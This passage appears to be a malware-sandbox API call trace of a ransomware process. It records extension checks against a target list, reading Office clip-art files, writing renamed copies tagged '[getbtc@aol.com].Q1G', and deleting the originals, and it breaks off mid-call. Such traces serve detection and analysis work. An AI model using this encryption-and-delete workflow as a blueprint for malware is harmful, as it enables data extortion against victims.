[0264.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF") returned 63 [0264.579] lstrlenW (lpString=".jpg") returned 4 [0264.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.579] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.579] lstrlenW (lpString="J0183172.WMF") returned 12 [0264.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.865] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=29788) returned 1 [0264.865] CloseHandle (hObject=0x3a0) returned 1 [0264.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf")) returned 0x20 [0264.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.881] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.881] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.881] GetLastError () returned 0x0 [0264.881] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x745c, lpOverlapped=0x0) returned 1 [0264.887] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7460, lpOverlapped=0x0) returned 1 [0264.888] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.888] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.888] SetEndOfFile (hFile=0x3d8) returned 1 [0264.894] CloseHandle (hObject=0x3d8) returned 1 [0264.894] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.894] SetEndOfFile (hFile=0x1bc) returned 1 [0264.896] CloseHandle (hObject=0x1bc) returned 1 [0264.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0183172.wmf")) returned 1 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.897] lstrlenW (lpString=".doc") returned 4 [0264.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.897] lstrlenW (lpString=".docx") returned 5 [0264.897] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0264.897] lstrlenW (lpString=".pdf") returned 4 [0264.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.897] lstrlenW (lpString=".xls") returned 4 [0264.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.897] lstrlenW (lpString=".xlsx") returned 5 [0264.897] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0264.897] lstrlenW (lpString=".ppt") returned 4 [0264.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.897] lstrlenW (lpString=".zip") returned 4 [0264.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.897] lstrlenW (lpString=".rar") returned 4 [0264.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString=".bz2") returned 4 [0264.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString=".7z") returned 3 [0264.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.898] lstrlenW (lpString=".dbf") returned 4 [0264.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.898] lstrlenW (lpString=".1cd") returned 4 [0264.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.898] lstrlenW (lpString=".jpg") returned 4 [0264.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.898] lstrlenW (lpString=".doc") returned 4 [0264.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString=".docx") returned 5 [0264.898] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0264.898] lstrlenW (lpString=".pdf") returned 4 [0264.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString=".xls") returned 4 [0264.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.898] lstrlenW (lpString=".xlsx") returned 5 [0264.898] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0264.898] lstrlenW (lpString=".ppt") returned 4 [0264.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.898] lstrlenW (lpString=".zip") returned 4 [0264.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.898] lstrlenW (lpString=".rar") returned 4 [0264.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString=".bz2") returned 4 [0264.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.898] lstrlenW (lpString=".7z") returned 3 [0264.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.898] lstrlenW (lpString=".dbf") returned 4 [0264.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.899] lstrlenW (lpString=".1cd") returned 4 [0264.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0183172.WMF") returned 63 [0264.899] lstrlenW (lpString=".jpg") returned 4 [0264.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.899] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.899] lstrlenW (lpString="J0185818.WMF") returned 12 [0264.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.899] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=35726) returned 1 [0264.899] CloseHandle (hObject=0x1bc) returned 1 [0264.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf")) returned 0x20 [0264.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.900] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.900] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.901] GetLastError () returned 0x0 [0264.901] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x8b8e, lpOverlapped=0x0) returned 1 [0264.921] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x8b90, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x8b90, lpOverlapped=0x0) returned 1 [0264.922] ReadFile (in: hFile=0x1bc, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.922] WriteFile (in: hFile=0x3d8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.922] SetEndOfFile (hFile=0x3d8) returned 1 [0264.922] CloseHandle (hObject=0x3d8) returned 1 [0264.922] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.922] SetEndOfFile (hFile=0x1bc) returned 1 [0264.925] CloseHandle (hObject=0x1bc) returned 1 [0264.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185818.wmf")) returned 1 [0264.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.926] lstrlenW (lpString=".doc") returned 4 [0264.926] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.926] lstrlenW (lpString=".docx") returned 5 [0264.926] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.926] lstrlenW (lpString=".pdf") returned 4 [0264.926] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.926] lstrlenW (lpString=".xls") returned 4 [0264.926] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.926] lstrlenW (lpString=".xlsx") returned 5 [0264.926] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.926] lstrlenW (lpString=".ppt") returned 4 [0264.926] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.926] lstrlenW (lpString=".zip") returned 4 [0264.926] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.926] lstrlenW (lpString=".rar") returned 4 [0264.926] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.926] lstrlenW (lpString=".bz2") returned 4 [0264.926] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.926] lstrlenW (lpString=".7z") returned 3 [0264.926] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.926] lstrlenW (lpString=".dbf") returned 4 [0264.926] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.926] lstrlenW (lpString=".1cd") returned 4 [0264.926] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.926] lstrlenW (lpString=".jpg") returned 4 [0264.926] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.927] lstrlenW (lpString=".doc") returned 4 [0264.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.927] lstrlenW (lpString=".docx") returned 5 [0264.927] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0264.927] lstrlenW (lpString=".pdf") returned 4 [0264.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.927] lstrlenW (lpString=".xls") returned 4 [0264.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.927] lstrlenW (lpString=".xlsx") returned 5 [0264.927] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0264.927] lstrlenW (lpString=".ppt") returned 4 [0264.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.927] lstrlenW (lpString=".zip") returned 4 [0264.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.927] lstrlenW (lpString=".rar") returned 4 [0264.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.927] lstrlenW (lpString=".bz2") returned 4 [0264.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.927] lstrlenW (lpString=".7z") returned 3 [0264.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.927] lstrlenW (lpString=".dbf") returned 4 [0264.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.927] lstrlenW (lpString=".1cd") returned 4 [0264.927] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185818.WMF") returned 63 [0264.927] lstrlenW (lpString=".jpg") returned 4 [0264.927] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.928] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.928] lstrlenW (lpString="J0185834.WMF") returned 12 [0264.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.940] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=8578) returned 1 [0264.940] CloseHandle (hObject=0x3d8) returned 1 [0264.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf")) returned 0x20 [0264.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.941] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.941] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0264.941] GetLastError () returned 0x0 [0264.941] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x2182, lpOverlapped=0x0) returned 1 [0264.949] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x2190, lpOverlapped=0x0) returned 1 [0264.950] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.950] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.950] SetEndOfFile (hFile=0x1f8) returned 1 [0264.950] CloseHandle (hObject=0x1f8) returned 1 [0264.951] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.951] SetEndOfFile (hFile=0x3d8) returned 1 [0264.953] CloseHandle (hObject=0x3d8) returned 1 [0264.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185834.wmf")) returned 1 [0264.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.954] lstrlenW (lpString=".doc") returned 4 [0264.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.954] lstrlenW (lpString=".docx") returned 5 [0264.954] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0264.954] lstrlenW (lpString=".pdf") returned 4 [0264.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.954] lstrlenW (lpString=".xls") returned 4 [0264.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.954] lstrlenW (lpString=".xlsx") returned 5 [0264.954] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0264.954] lstrlenW (lpString=".ppt") returned 4 [0264.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.954] lstrlenW (lpString=".zip") returned 4 [0264.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.954] lstrlenW (lpString=".rar") returned 4 [0264.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.955] lstrlenW (lpString=".bz2") returned 4 [0264.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.955] lstrlenW (lpString=".7z") returned 3 [0264.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.955] lstrlenW (lpString=".dbf") returned 4 [0264.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.955] lstrlenW (lpString=".1cd") returned 4 [0264.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.955] lstrlenW (lpString=".jpg") returned 4 [0264.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.955] lstrlenW (lpString=".doc") returned 4 [0264.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.955] lstrlenW (lpString=".docx") returned 5 [0264.955] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0264.955] lstrlenW (lpString=".pdf") returned 4 [0264.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.955] lstrlenW (lpString=".xls") returned 4 [0264.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.955] lstrlenW (lpString=".xlsx") returned 5 [0264.955] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0264.955] lstrlenW (lpString=".ppt") returned 4 [0264.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.955] lstrlenW (lpString=".zip") returned 4 [0264.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.955] lstrlenW (lpString=".rar") returned 4 [0264.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.956] lstrlenW (lpString=".bz2") returned 4 [0264.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.956] lstrlenW (lpString=".7z") returned 3 [0264.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.956] lstrlenW (lpString=".dbf") returned 4 [0264.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.956] lstrlenW (lpString=".1cd") returned 4 [0264.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185834.WMF") returned 63 [0264.956] lstrlenW (lpString=".jpg") returned 4 [0264.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.956] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.956] lstrlenW (lpString="J0185842.WMF") returned 12 [0264.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185842.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185842.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0264.957] GetFileSizeEx (in: 